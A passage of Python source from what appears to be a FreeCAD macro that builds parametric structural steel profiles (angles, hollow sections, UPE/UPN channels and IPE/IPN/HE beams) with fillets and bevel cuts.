self.data[recherche_ind(self.fam,\"Flange Thickness\")]\r\n except:self.P_flangethickness = 0\r\n try: self.P_radius1 = self.data[recherche_ind(self.fam,\"Radius1\")]\r\n except:self.P_radius1 = 0\r\n try: self.P_radius2 = self.data[recherche_ind(self.fam,\"Radius2\")]\r\n except:self.P_radius2 = 0\r\n try: self.Weight = self.data[recherche_ind(self.fam,\"Weight\")] \r\n except:self.Weight = 0\r\n \r\n def update_box(self):\r\n self.SB_height.setProperty (\"value\",self.P_height)\r\n self.SB_width.setProperty (\"value\",self.P_width)\r\n self.SB_mainthickness.setProperty (\"value\",self.P_mainthickness)\r\n self.SB_flangethickness.setProperty (\"value\",self.P_flangethickness)\r\n self.SB_length.setProperty (\"value\",self.LenghtInit)\r\n self.SB_Radius1.setProperty (\"value\",self.P_radius1)\r\n self.SB_Radius2.setProperty (\"value\",self.P_radius2)\r\n \r\n def update_selection(self,new_obj,new_sub):\r\n try: # first run\r\n selobj = FreeCADGui.Selection.getSelectionEx()[0]\r\n edgeName = selobj.SubElementNames[0]\r\n sel = FreeCADGui.Selection.getSelectionEx()\t\r\n objname = sel[0].ObjectName\r\n nom = \"Attachment: \"+ objname + \" / \" + edgeName\t\r\n except:\r\n nom = \"Attachment: None \"\r\n \r\n if new_obj and new_sub: nom = \"Attachment: \" + new_obj + \" / \" + new_sub \r\n \r\n self.label_attach.setText(nom)\r\n print(\"updated attachement :\",nom)\r\n \r\n \r\nclass SelObserver():\r\n def addSelection(self,doc,obj,sub,other): \r\n form.update_selection(obj,sub)\r\n \r\n def clearSelection(self,other): \r\n form.update_selection(\"\",\"\")\r\n\r\nclass Profile:\r\n def __init__(self,obj,linksub,init_w,init_h,init_mt,init_ft,init_r1,init_r2,init_lenobj,init_wg,init_mf,init_hc,init_wc,type,bevels_combined):\r\n \r\n obj.addProperty(\"App::PropertyFloat\",\"ProfileHeight\",\"Profile\",\"\",).ProfileHeight = init_h\r\n obj.addProperty(\"App::PropertyFloat\",\"ProfileWidth\",\"Profile\",\"\").ProfileWidth = init_w\r\n obj.addProperty(\"App::PropertyFloat\",\"ProfileLength\",\"Profile\",\"\").ProfileLength = init_lenobj\r\n \r\n obj.addProperty(\"App::PropertyFloat\",\"Thickness\",\"Profile\",\"Thickness of all the profile or the web\").Thickness = init_mt\r\n obj.addProperty(\"App::PropertyFloat\",\"ThicknessFlange\",\"Profile\",\"Thickness of the flanges\").ThicknessFlange = init_ft\r\n \r\n obj.addProperty(\"App::PropertyFloat\",\"RadiusLarge\",\"Profile\",\"Large radius\").RadiusLarge = init_r1\r\n obj.addProperty(\"App::PropertyFloat\",\"RadiusSmall\",\"Profile\",\"Small radius\").RadiusSmall = init_r2\r\n obj.addProperty(\"App::PropertyBool\",\"MakeFillet\",\"Profile\",\"Wheter to draw the fillets or not\").MakeFillet = init_mf\r\n \r\n if bevels_combined == False:\r\n obj.addProperty(\"App::PropertyFloat\",\"BevelStartCut1\",\"Profile\",\"Bevel on First axle at the start of the profile\").BevelStartCut1 = 0\r\n obj.addProperty(\"App::PropertyFloat\",\"BevelStartCut2\",\"Profile\",\"Rotate the cut on Second axle at the start of the profile\").BevelStartCut2 = 0\r\n obj.addProperty(\"App::PropertyFloat\",\"BevelEndCut1\",\"Profile\",\"Bevel on First axle at the end of the profile\").BevelEndCut1 = 0\r\n obj.addProperty(\"App::PropertyFloat\",\"BevelEndCut2\",\"Profile\",\"Rotate the cut on Second axle at the end of the profile\").BevelEndCut2 = 0\r\n if bevels_combined == True:\r\n obj.addProperty(\"App::PropertyFloat\",\"BevelStartCut\",\"Profile\",\"Bevel at the start of the profile\").BevelStartCut = 0\r\n obj.addProperty(\"App::PropertyFloat\",\"BevelStartRotate\",\"Profile\",\"Rotate the second cut on Profile axle\").BevelStartRotate = 0\r\n obj.addProperty(\"App::PropertyFloat\",\"BevelEndCut\",\"Profile\",\"Bevel on First axle at the end of the profile\").BevelEndCut = 0\r\n obj.addProperty(\"App::PropertyFloat\",\"BevelEndRotate\",\"Profile\",\"Rotate the second cut on Profile axle\").BevelEndRotate = 0\r\n \r\n obj.addProperty(\"App::PropertyFloat\",\"ApproxWeight\",\"Base\",\"Approximate weight in Kilogram\").ApproxWeight= init_wg*init_lenobj/1000\r\n\r\n obj.addProperty(\"App::PropertyBool\",\"CenteredOnHeight\",\"Profile\",\"Choose corner or profile centre as origin\").CenteredOnHeight = init_hc\r\n obj.addProperty(\"App::PropertyBool\",\"CenteredOnWidth\",\"Profile\",\"Choose corner or profile centre as origin\").CenteredOnWidth = init_wc\r\n \r\n if type == \"UPE\":\r\n obj.addProperty(\"App::PropertyBool\",\"UPN\",\"Profile\",\"UPE style or UPN style\").UPN = False\r\n obj.addProperty(\"App::PropertyFloat\",\"FlangeAngle\",\"Profile\").FlangeAngle = 4.57\r\n if type == \"UPN\":\r\n obj.addProperty(\"App::PropertyBool\",\"UPN\",\"Profile\",\"UPE style or UPN style\").UPN = True\r\n obj.addProperty(\"App::PropertyFloat\",\"FlangeAngle\",\"Profile\").FlangeAngle = 4.57 \r\n \r\n if type == \"IPE\" or type == \"HEA\" or type == \"HEB\" or type == \"HEM\":\r\n obj.addProperty(\"App::PropertyBool\",\"IPN\",\"Profile\",\"IPE/HEA style or IPN style\").IPN = False\r\n obj.addProperty(\"App::PropertyFloat\",\"FlangeAngle\",\"Profile\").FlangeAngle = 8\r\n if type == \"IPN\":\r\n obj.addProperty(\"App::PropertyBool\",\"IPN\",\"Profile\",\"IPE/HEA style or IPN style\").IPN = True\r\n obj.addProperty(\"App::PropertyFloat\",\"FlangeAngle\",\"Profile\").FlangeAngle = 8\r\n \r\n obj.addProperty(\"App::PropertyLength\",\"Width\",\"Structure\",\"Parameter for structure\").Width = obj.ProfileWidth # Property for structure\r\n obj.addProperty(\"App::PropertyLength\",\"Height\",\"Structure\",\"Parameter for structure\").Height = obj.ProfileLength # Property for structure\r\n obj.addProperty(\"App::PropertyLength\",\"Length\",\"Structure\",\"Parameter for structure\",).Length = obj.ProfileHeight # Property for structure\r\n obj.setEditorMode(\"Width\", 1) # user doesn't change !\r\n obj.setEditorMode(\"Height\", 1)\r\n obj.setEditorMode(\"Length\", 1)\r\n\r\n if linksub: obj.addProperty(\"App::PropertyLinkSub\",\"Target\",\"Base\",\"Target face\").Target = linksub\r\n \r\n self.WM = init_wg\r\n self.type = type\r\n self.BevelCombined = bevels_combined\r\n obj.Proxy = self\r\n \r\n def onChanged(self, obj, p):\r\n \r\n \r\n if p == \"ProfileWidth\" or p == \"ProfileHeight\" or p == \"Thickness\" \\\r\n or p == \"FilletRadius\" or p == \"Centered\" or p == \"Length\"\\\r\n or p == \"BevelStartCut1\" or p == \"BevelEndCut1\" \\\r\n or p == \"BevelStartCut2\" or p == \"BevelEndCut2\" \\\r\n or p == \"BevelStartCut\" or p == \"BevelEndCut\" \\\r\n or p == \"BevelStartRotate\" or p == \"BevelEndRotate\" :\r\n \r\n \r\n self.execute(obj)\r\n\r\n def execute(self, obj):\r\n \r\n try:\r\n L = obj.Target[0].getSubObject(obj.Target[1][0]).Length\r\n obj.ProfileLength = L\r\n except: \r\n L = obj.ProfileLength \r\n \r\n obj.ApproxWeight = self.WM*L/1000\r\n W = obj.ProfileWidth\r\n H = obj.ProfileHeight\r\n obj.Height = L\r\n pl = obj.Placement\r\n TW = obj.Thickness\r\n TF = obj.ThicknessFlange\r\n \r\n R = obj.RadiusLarge\r\n r = obj.RadiusSmall\r\n d = Vec(0,0,1)\r\n \r\n if W == 0 : W = H\r\n w = h = 0\r\n \r\n if self.BevelCombined == False:\r\n if obj.BevelStartCut1>60 : obj.BevelStartCut1 = 60\r\n if obj.BevelStartCut1<-60 : obj.BevelStartCut1 = -60\r\n if obj.BevelStartCut2>60 : obj.BevelStartCut2 = 60\r\n if obj.BevelStartCut2<-60 : obj.BevelStartCut2 = -60\r\n \r\n if obj.BevelEndCut1>60 : obj.BevelEndCut1 = 60\r\n if obj.BevelEndCut1<-60 : obj.BevelEndCut1 = -60\r\n if obj.BevelEndCut2>60 : obj.BevelEndCut2 = 60\r\n if obj.BevelEndCut2<-60 : obj.BevelEndCut2 = -60\r\n \r\n B1Y = obj.BevelStartCut1\r\n B2Y = -obj.BevelEndCut1\r\n B1X = -obj.BevelStartCut2\r\n B2X = obj.BevelEndCut2\r\n B1Z = 0\r\n B2Z = 0\r\n \r\n if self.BevelCombined == True:\r\n if obj.BevelStartCut>60 : obj.BevelStartCut = 60\r\n if obj.BevelStartCut<-60 : obj.BevelStartCut = -60\r\n if obj.BevelStartRotate>60 : obj.BevelStartRotate = 60\r\n if obj.BevelStartRotate<-60 : obj.BevelStartRotate = -60\r\n \r\n if obj.BevelEndCut>60 : obj.BevelEndCut = 60\r\n if obj.BevelEndCut<-60 : obj.BevelEndCut = -60\r\n if obj.BevelEndRotate>60 : obj.BevelEndRotate = 60\r\n if obj.BevelEndRotate<-60 : obj.BevelEndRotate = -60\r\n \r\n B1Y = obj.BevelStartCut\r\n B1Z = -obj.BevelStartRotate\r\n B2Y = -obj.BevelEndCut\r\n B2Z = -obj.BevelEndRotate\r\n B1X = 0\r\n B2X = 0\r\n \r\n if obj.CenteredOnWidth == True: w = -W/2\r\n if obj.CenteredOnHeight == True: h = -H/2 \r\n \r\n if self.type == \"Equal Leg Angles\" or self.type == \"Unequal Leg Angles\": \r\n if obj.MakeFillet == False:\r\n p1 = Vec(0+w,0+h,0)\r\n p2 = Vec(0+w,H+h,0)\r\n p3 = Vec(TW+w,H+h,0)\r\n p4 = Vec(TW+w,TW+h,0)\r\n p5 = Vec(W+w,TW+h,0)\r\n p6 = Vec(W+w,0+h,0)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p2, p3)\r\n L3 = Part.makeLine(p3, p4)\r\n L4 = Part.makeLine(p4, p5)\r\n L5 = Part.makeLine(p5, p6)\r\n L6 = Part.makeLine(p6, p1)\r\n \r\n wire1 = Part.Wire([L1,L2,L3,L4,L5,L6])\r\n \r\n if obj.MakeFillet == True:\r\n p1 = Vec(0+w,0+h,0)\r\n p2 = Vec(0+w,H+h,0)\r\n p3 = Vec(TW-r+w,H+h,0)\r\n p4 = Vec(TW+w,H-r+h,0)\r\n p5 = Vec(TW+w,TW+R+h,0)\r\n p6 = Vec(TW+R+w,TW+h,0)\r\n p7 = Vec(W-r+w,TW+h,0)\r\n p8 = Vec(W+w,TW-r+h,0)\r\n p9 = Vec(W+w,0+h,0)\r\n c1 = Vec(TW-r+w,H-r+h,0)\r\n c2 = Vec(TW+R+w,TW+R+h,0)\r\n c3 = Vec(W-r+w,TW-r+h,0)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p2, p3)\r\n L3 = Part.makeLine(p4, p5)\r\n L4 = Part.makeLine(p6, p7)\r\n L5 = Part.makeLine(p8, p9)\r\n L6 = Part.makeLine(p9, p1)\r\n A1 = Part.makeCircle(r,c1,d,0,90)\r\n A2 = Part.makeCircle(R,c2,d,180,270)\r\n A3 = Part.makeCircle(r,c3,d,0,90)\r\n \r\n wire1 = Part.Wire([L1,L2,A1,L3,A2,L4,A3,L5,L6])\r\n \r\n p = Part.Face(wire1) \r\n \r\n if self.type == \"Flat Sections\" or self.type == \"Square\" or self.type == \"Square Hollow\" or self.type == \"Rectangular Hollow\":\r\n wire1=wire2=0\r\n \r\n if self.type == \"Square\" or self.type == \"Flat Sections\":\r\n p1 = Vec(0+w,0+h,0)\r\n p2 = Vec(0+w,H+h,0)\r\n p3 = Vec(W+w,H+h,0)\r\n p4 = Vec(W+w,0+h,0)\r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p2, p3)\r\n L3 = Part.makeLine(p3, p4)\r\n L4 = Part.makeLine(p4, p1)\r\n wire1 = Part.Wire([L1,L2,L3,L4])\r\n \r\n if obj.MakeFillet == False and (self.type == \"Square Hollow\" or self.type == \"Rectangular Hollow\") :\r\n p1 = Vec(0+w,0+h,0)\r\n p2 = Vec(0+w,H+h,0)\r\n p3 = Vec(W+w,H+h,0)\r\n p4 = Vec(W+w,0+h,0)\r\n p5 = Vec(TW+w,TW+h,0)\r\n p6 = Vec(TW+w,H+h-TW,0)\r\n p7 = Vec(W+w-TW,H+h-TW,0)\r\n p8 = Vec(W+w-TW,TW+h,0)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p2, p3)\r\n L3 = Part.makeLine(p3, p4)\r\n L4 = Part.makeLine(p4, p1)\r\n L5 = Part.makeLine(p5, p6)\r\n L6 = Part.makeLine(p6, p7)\r\n L7 = Part.makeLine(p7, p8)\r\n L8 = Part.makeLine(p8, p5)\r\n \r\n wire1 = Part.Wire([L1,L2,L3,L4])\r\n wire2 = Part.Wire([L5,L6,L7,L8])\r\n \r\n if obj.MakeFillet == True and (self.type == \"Square Hollow\" or self.type == \"Rectangular Hollow\") :\r\n p1 = Vec(0+w, 0+R+h, 0)\r\n p2 = Vec(0+w, H-R+h, 0)\r\n p3 = Vec(R+w, H+h, 0)\r\n p4 = Vec(W-R+w,H+h, 0)\r\n p5 = Vec(W+w, H-R+h, 0)\r\n p6 = Vec(W+w, R+h, 0)\r\n p7 = Vec(W-R+w,0+h, 0)\r\n p8 = Vec(R+w, 0+h, 0)\r\n \r\n c1 = Vec(R+w, R+h, 0)\r\n c2 = Vec(R+w, H-R+h, 0)\r\n c3 = Vec(W-R+w,H-R+h, 0)\r\n c4 = Vec(W-R+w,R+h, 0)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p3, p4)\r\n L3 = Part.makeLine(p5, p6)\r\n L4 = Part.makeLine(p7, p8)\r\n A1 = Part.makeCircle(R,c1,d,180,270)\r\n A2 = Part.makeCircle(R,c2,d,90,180)\r\n A3 = Part.makeCircle(R,c3,d,0,90)\r\n A4 = Part.makeCircle(R,c4,d,270,0)\r\n \r\n wire1 = Part.Wire([L1,A2,L2,A3,L3,A4,L4,A1])\r\n \r\n p1 = Vec(TW+w, TW+r+h, 0)\r\n p2 = Vec(TW+w, H-TW-r+h, 0)\r\n p3 = Vec(TW+r+w, H-TW+h, 0)\r\n p4 = Vec(W-TW-r+w,H-TW+h, 0)\r\n p5 = Vec(W-TW+w, H-TW-r+h, 0)\r\n p6 = Vec(W-TW+w, TW+r+h, 0)\r\n p7 = Vec(W-TW-r+w,TW+h, 0)\r\n p8 = Vec(TW+r+w, TW+h, 0)\r\n \r\n c1 = Vec(TW+r+w, TW+r+h, 0)\r\n c2 = Vec(TW+r+w, H-TW-r+h, 0)\r\n c3 = Vec(W-TW-r+w,H-TW-r+h, 0)\r\n c4 = Vec(W-TW-r+w,TW+r+h, 0)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p3, p4)\r\n L3 = Part.makeLine(p5, p6)\r\n L4 = Part.makeLine(p7, p8)\r\n A1 = Part.makeCircle(r,c1,d,180,270)\r\n A2 = Part.makeCircle(r,c2,d,90,180)\r\n A3 = Part.makeCircle(r,c3,d,0,90)\r\n A4 = Part.makeCircle(r,c4,d,270,0)\r\n \r\n wire2 = Part.Wire([L1,A2,L2,A3,L3,A4,L4,A1]) \r\n \r\n if wire2:\r\n p1 = Part.Face(wire1)\r\n p2 = Part.Face(wire2) \r\n p = p1.cut(p2)\r\n else:\r\n p = Part.Face(wire1) \r\n \r\n if self.type == \"UPE\" or self.type == \"UPN\":\r\n if obj.MakeFillet == False: # UPE ou UPN sans arrondis\r\n \r\n Yd = 0\r\n if obj.UPN == True: Yd = (W/4)*math.tan(math.pi*obj.FlangeAngle/180) \r\n \r\n p1 = Vec(w, h,0)\r\n p2 = Vec(w, H+h,0)\r\n p3 = Vec(w+W, H+h,0)\r\n p4 = Vec(W+w, h,0)\r\n p5 = Vec(W+w+Yd-TW, h,0)\r\n p6 = Vec(W+w-Yd-TW, H+h-TF,0)\r\n p7 = Vec(w+TW+Yd, H+h-TF,0)\r\n p8 = Vec(w+TW-Yd, h,0)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p2, p3)\r\n L3 = Part.makeLine(p3, p4)\r\n L4 = Part.makeLine(p4, p5)\r\n L5 = Part.makeLine(p5, p6)\r\n L6 = Part.makeLine(p6, p7)\r\n L7 = Part.makeLine(p7, p8)\r\n L8 = Part.makeLine(p8, p1)\r\n \r\n wire1 = Part.Wire([L1,L2,L3,L4,L5,L6,L7,L8])\r\n \r\n if obj.MakeFillet == True and obj.UPN == False: # UPE avec arrondis\r\n \r\n p1 = Vec(w, h,0)\r\n p2 = Vec(w, H+h,0)\r\n p3 = Vec(w+W, H+h,0)\r\n p4 = Vec(W+w, h,0)\r\n p5 = Vec(W+w-TW+r, h,0)\r\n p6 = Vec(W+w-TW, h+r,0)\r\n p7 = Vec(W+w-TW, H+h-TF-R,0)\r\n p8 = Vec(W+w-TW-R, H+h-TF,0)\r\n p9 = Vec(w+TW+R, H+h-TF,0)\r\n p10 = Vec(w+TW, H+h-TF-R,0)\r\n p11 = Vec(w+TW, h+r,0)\r\n p12 = Vec(w+TW-r, h,0)\r\n \r\n C1 = Vec(w+TW-r,h+r,0)\r\n C2 = Vec(w+TW+R,H+h-TF-R,0)\r\n C3 = Vec(W+w-TW-R,H+h-TF-R,0)\r\n C4 = Vec(W+w-TW+r,r+h,0)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p2, p3)\r\n L3 = Part.makeLine(p3, p4)\r\n L4 = Part.makeLine(p4, p5)\r\n L5 = Part.makeLine(p6, p7)\r\n L6 = Part.makeLine(p8, p9)\r\n L7 = Part.makeLine(p10, p11)\r\n L8 = Part.makeLine(p12, p1)\r\n \r\n \r\n A1 = Part.makeCircle(r,C1,d,270,0)\r\n A2 = Part.makeCircle(R,C2,d,90,180)\r\n A3 = Part.makeCircle(R,C3,d,0,90)\r\n A4 = Part.makeCircle(r,C4,d,180,270)\r\n \r\n \r\n wire1 = Part.Wire([L1,L2,L3,L4,A4,L5,A3,L6,A2,L7,A1,L8])\r\n \r\n if obj.MakeFillet == True and obj.UPN == True: # UPN avec arrondis\r\n angarc = obj.FlangeAngle\r\n angrad = math.pi*angarc/180\r\n sina = math.sin(angrad)\r\n cosa = math.cos(angrad)\r\n tana = math.tan(angrad)\r\n \r\n cot1 = r*sina\r\n y11 = r-cot1\r\n cot2 = (H/2-r)*tana\r\n cot3 = cot1*tana\r\n x11 = TW-cot2-cot3\r\n xc1 = TW-cot2-cot3-r*cosa\r\n yc1 = r\r\n cot8 = (H/2-R-TF+R*sina)*tana\r\n x10 = TW+cot8\r\n y10 = H-TF-R+R*sina\r\n xc2 = cot8+R*cosa+TW\r\n yc2 = H-TF-R\r\n x12 = TW-cot2-cot3-r*cosa\r\n y12 = 0\r\n x9 = cot8+R*cosa+TW\r\n y9 = H-TF\r\n xc3 = W-xc2\r\n yc3 = yc2\r\n xc4 = W-xc1\r\n yc4 = yc1\r\n x1 = 0 \r\n y1 = 0\r\n x2 = 0\r\n y2 = H\r\n x3 = W\r\n y3 = H\r\n x4 = W\r\n y4 = 0\r\n x5 = W-x12\r\n y5 = 0\r\n x6 = W-x11\r\n y6 = y11\r\n x7 = W-x10\r\n y7 = y10\r\n x8 = W-x9\r\n y8 = y9\r\n \r\n c1 = Vec(xc1+w,yc1+h,0)\r\n c2 = Vec(xc2+w,yc2+h,0)\r\n c3 = Vec(xc3+w,yc3+h,0)\r\n c4 = Vec(xc4+w,yc4+h,0)\r\n \r\n p1 = Vec(x1+w,y1+h,0)\r\n p2 = Vec(x2+w,y2+h,0)\r\n p3 = Vec(x3+w,y3+h,0)\r\n p4 = Vec(x4+w,y4+h,0)\r\n p5 = Vec(x5+w,y5+h,0)\r\n p6 = Vec(x6+w,y6+h,0)\r\n p7 = Vec(x7+w,y7+h,0)\r\n p8 = Vec(x8+w,y8+h,0)\r\n p9 = Vec(x9+w,y9+h,0)\r\n p10 = Vec(x10+w,y10+h,0)\r\n p11 = Vec(x11+w,y11+h,0)\r\n p12 = Vec(x12+w,y12+h,0)\r\n \r\n A1 = Part.makeCircle(r,c1,d,270,0-angarc)\r\n A2 = Part.makeCircle(R,c2,d,90,180-angarc)\r\n A3 = Part.makeCircle(R,c3,d,0+angarc,90)\r\n A4 = Part.makeCircle(r,c4,d,180+angarc,270)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p2, p3)\r\n L3 = Part.makeLine(p3, p4)\r\n L4 = Part.makeLine(p4, p5)\r\n L5 = Part.makeLine(p6, p7)\r\n L6 = Part.makeLine(p8, p9)\r\n L7 = Part.makeLine(p10, p11)\r\n L8 = Part.makeLine(p12, p1)\r\n \r\n wire1 = Part.Wire([L1,L2,L3,L4,A4,L5,A3,L6,A2,L7,A1,L8])\r\n\r\n p = Part.Face(wire1) \r\n\r\n if self.type == \"IPE\" or self.type == \"IPN\" or self.type == \"HEA\" or self.type == \"HEB\" or self.type == \"HEM\":\r\n XA1 = W/2-TW/2 # face gauche du web\r\n XA2 = W/2+TW/2 # face droite du web\r\n if obj.MakeFillet == False: # IPE ou IPN sans arrondis\r\n Yd = 0\r\n if obj.IPN == True: Yd = (W/4)*math.tan(math.pi*obj.FlangeAngle/180) \r\n \r\n p1 = Vec(0+w,0+h,0)\r\n p2 = Vec(0+w,TF+h-Yd,0)\r\n p3 = Vec(XA1+w,TF+h+Yd,0)\r\n p4 = Vec(XA1+w,H-TF+h-Yd,0)\r\n p5 = Vec(0+w,H-TF+h+Yd,0)\r\n p6 = Vec(0+w,H+h,0)\r\n p7 = Vec(W+w,H+h,0)\r\n p8 = Vec(W+w,H-TF+h+Yd,0)\r\n p9 = Vec(XA2+w,H-TF+h-Yd,0)\r\n p10 = Vec(XA2+w,TF+h+Yd,0)\r\n p11 = Vec(W+w,TF+h-Yd,0)\r\n p12 = Vec(W+w,0+h,0)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p2, p3)\r\n L3 = Part.makeLine(p3, p4)\r\n L4 = Part.makeLine(p4, p5)\r\n L5 = Part.makeLine(p5, p6)\r\n L6 = Part.makeLine(p6, p7)\r\n L7 = Part.makeLine(p7, p8)\r\n L8 = Part.makeLine(p8, p9)\r\n L9 = Part.makeLine(p9, p10)\r\n L10 = Part.makeLine(p10,p11)\r\n L11 = Part.makeLine(p11,p12)\r\n L12 = Part.makeLine(p12,p1)\r\n \r\n wire1 = Part.Wire([L1,L2,L3,L4,L5,L6,L7,L8,L9,L10,L11,L12])\r\n \r\n if obj.MakeFillet == True and obj.IPN == False: # IPE avec arrondis\r\n p1 = Vec(0+w,0+h,0)\r\n p2 = Vec(0+w,TF+h,0)\r\n p3 = Vec(XA1-R+w,TF+h,0)\r\n p4 = Vec(XA1+w,TF+R+h,0)\r\n p5 = Vec(XA1+w,H-TF-R+h,0)\r\n p6 = Vec(XA1-R+w,H-TF+h,0)\r\n p7 = Vec(0+w,H-TF+h,0)\r\n p8 = Vec(0+w,H+h,0)\r\n p9 = Vec(W+w,H+h,0)\r\n p10 = Vec(W+w,H-TF+h,0)\r\n p11 = Vec(XA2+R+w,H-TF+h,0)\r\n p12 = Vec(XA2+w,H-TF-R+h,0)\r\n p13 = Vec(XA2+w,TF+R+h,0)\r\n p14 = Vec(XA2+R+w,TF+h,0)\r\n p15 = Vec(W+w,TF+h,0)\r\n p16 = Vec(W+w,0+h,0)\r\n \r\n c1 = Vec(XA1-R+w,TF+R+h,0)\r\n c2 = Vec(XA1-R+w,H-TF-R+h,0)\r\n c3 = Vec(XA2+R+w,H-TF-R+h,0)\r\n c4 = Vec(XA2+R+w,TF+R+h,0)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p2, p3)\r\n L3 = Part.makeLine(p4, p5)\r\n L4 = Part.makeLine(p6, p7)\r\n L5 = Part.makeLine(p7, p8)\r\n L6 = Part.makeLine(p8, p9)\r\n L7 = Part.makeLine(p9, p10)\r\n L8 = Part.makeLine(p10, p11)\r\n L9 = Part.makeLine(p12, p13)\r\n L10 = Part.makeLine(p14, p15)\r\n L11 = Part.makeLine(p15, p16)\r\n L12 = Part.makeLine(p16, p1)\r\n \r\n A1 = Part.makeCircle(R,c1,d,270,0)\r\n A2 = Part.makeCircle(R,c2,d,0,90)\r\n A3 = Part.makeCircle(R,c3,d,90,180)\r\n A4 = Part.makeCircle(R,c4,d,180,270)\r\n \r\n wire1 = Part.Wire([L1,L2,A1,L3,A2,L4,L5,L6,L7,L8,A3,L9,A4,L10,L11,L12])\r\n \r\n if obj.MakeFillet == True and obj.IPN == True: # IPN avec arrondis\r\n angarc = obj.FlangeAngle\r\n angrad = math.pi*angarc/180\r\n sina = math.sin(angrad)\r\n cosa = math.cos(angrad)\r\n tana = math.tan(angrad)\r\n cot1 = W/4*tana #1,47\r\n cot2 = TF-cot1 #4,42\r\n cot3 = r*cosa #1,98\r\n cot4 = r-cot3*tana #1,72\r\n cot5 = cot4*tana #0,24\r\n cot5 = cot2+cot5 #4,66\r\n cot6 = R*sina #0,55\r\n cot7 = W/4-R-TW/2 #4,6\r\n cot8 = cot6+cot7 #5,15\r\n cot9 = cot7*tana #0,72\r\n cot10 = R*cosa #3,96\r\n \r\n xc1 = r\r\n yc1 = cot5-cot3\r\n c1 = Vec(xc1+w,yc1+h,0)\r\n \r\n xc2 = W/2-TW/2-R\r\n yc2 = cot9+TF+cot10\r\n c2 = Vec(xc2+w,yc2+h,0)\r\n \r\n xc3 = xc2\r\n yc3 = H-yc2\r\n c3 = Vec(xc3+w,yc3+h,0)\r\n \r\n xc4 = xc1\r\n yc4 = H-yc1\r\n c4 = Vec(xc4+w,yc4+h,0)\r\n \r\n xc5 = W-xc1\r\n yc5 = yc4\r\n c5 = Vec(xc5+w,yc5+h,0)\r\n \r\n xc6 = W-xc2\r\n yc6 = yc3\r\n c6 = Vec(xc6+w,yc6+h,0)\r\n \r\n xc7 = xc6\r\n yc7 = yc2\r\n c7 = Vec(xc7+w,yc7+h,0)\r\n \r\n xc8 = xc5\r\n yc8 = yc1\r\n c8 = Vec(xc8+w,yc8+h,0)\r\n \r\n A1 = Part.makeCircle(r,c1,d,90+angarc,180)\r\n A2 = Part.makeCircle(R,c2,d,270+angarc,0)\r\n A3 = Part.makeCircle(R,c3,d,0,90-angarc)\r\n A4 = Part.makeCircle(r,c4,d,180,270-angarc)\r\n A5 = Part.makeCircle(r,c5,d,270+angarc,0)\r\n A6 = Part.makeCircle(R,c6,d,90+angarc,180)\r\n A7 = Part.makeCircle(R,c7,d,180,270-angarc)\r\n A8 = Part.makeCircle(r,c8,d,0,90-angarc)\r\n \r\n xp1 = 0\r\n yp1 = 0\r\n p1 = Vec(xp1+w,yp1+h,0)\r\n \r\n xp2 = 0\r\n yp2 = cot5-cot3\r\n p2 = Vec(xp2+w,yp2+h,0)\r\n \r\n xp3 = cot4\r\n yp3 = cot5\r\n p3 = Vec(xp3+w,yp3+h,0)\r\n \r\n xp4 = W/4+cot8\r\n yp4 = TF+cot9\r\n p4 = Vec(xp4+w,yp4+h,0)\r\n \r\n xp5 = W/2-TW/2\r\n yp5 = yc2\r\n p5 = Vec(xp5+w,yp5+h,0)\r\n \r\n xp6 = xp5\r\n yp6 = H-yp5\r\n p6 = Vec(xp6+w,yp6+h,0)\r\n \r\n xp7 = xp4\r\n yp7 = H-yp4\r\n p7 = Vec(xp7+w,yp7+h,0)\r\n \r\n xp8 = xp3\r\n yp8 = H-yp3\r\n p8 = Vec(xp8+w,yp8+h,0)\r\n \r\n xp9 = xp2\r\n yp9 = H - yp2\r\n p9 = Vec(xp9+w,yp9+h,0)\r\n \r\n xp10 = xp1\r\n yp10 = H\r\n p10 = Vec(xp10+w,yp10+h,0)\r\n \r\n xp11 = W\r\n yp11 = H\r\n p11 = Vec(xp11+w,yp11+h,0)\r\n \r\n xp12 = xp11\r\n yp12 = yp9\r\n p12 = Vec(xp12+w,yp12+h,0)\r\n \r\n xp13 = W-xp8\r\n yp13 = yp8\r\n p13 = Vec(xp13+w,yp13+h,0)\r\n \r\n xp14 = W-xp7\r\n yp14 = yp7\r\n p14 = Vec(xp14+w,yp14+h,0)\r\n \r\n xp15 = W-xp6\r\n yp15 = yp6\r\n p15 = Vec(xp15+w,yp15+h,0)\r\n \r\n xp16 = W-xp5\r\n yp16 = yp5\r\n p16 = Vec(xp16+w,yp16+h,0)\r\n \r\n xp17 = W-xp4\r\n yp17 = yp4\r\n p17 = Vec(xp17+w,yp17+h,0)\r\n \r\n xp18 = W-xp3\r\n yp18 = yp3\r\n p18 = Vec(xp18+w,yp18+h,0)\r\n \r\n xp19 = W-xp2\r\n yp19 = yp2\r\n p19 = Vec(xp19+w,yp19+h,0)\r\n \r\n xp20 = W\r\n yp20 = 0\r\n p20 = Vec(xp20+w,yp20+h,0)\r\n \r\n L1 = Part.makeLine(p1, p2)\r\n L2 = Part.makeLine(p3, p4)\r\n L3 = Part.makeLine(p5, p6)\r\n L4 = Part.makeLine(p7, p8)\r\n L5 = Part.makeLine(p9, p10)\r\n L6 = Part.makeLine(p10, p11)\r\n L7 = Part.makeLine(p11, p12)\r\n L8 = Part.makeLine(p13, p14)\r\n L9 = Part.makeLine(p15, p16)\r\n L10 = Part.makeLine(p17, p18)\r\n L11 = Part.makeLine(p19, p20)\r\n L12 = Part.makeLine(p20, p1)\r\n \r\n wire1 = Part.Wire([L1,A1,L2,A2,L3,A3,L4,A4,L5,L6,L7,A5,L8,A6,L9,A7,L10,A8,L11,L12])\r\n \r\n p = Part.Face(wire1) \r\n \r\n if self.type == \"Round bar\" or self.type == \"Pipe\":\r\n c = 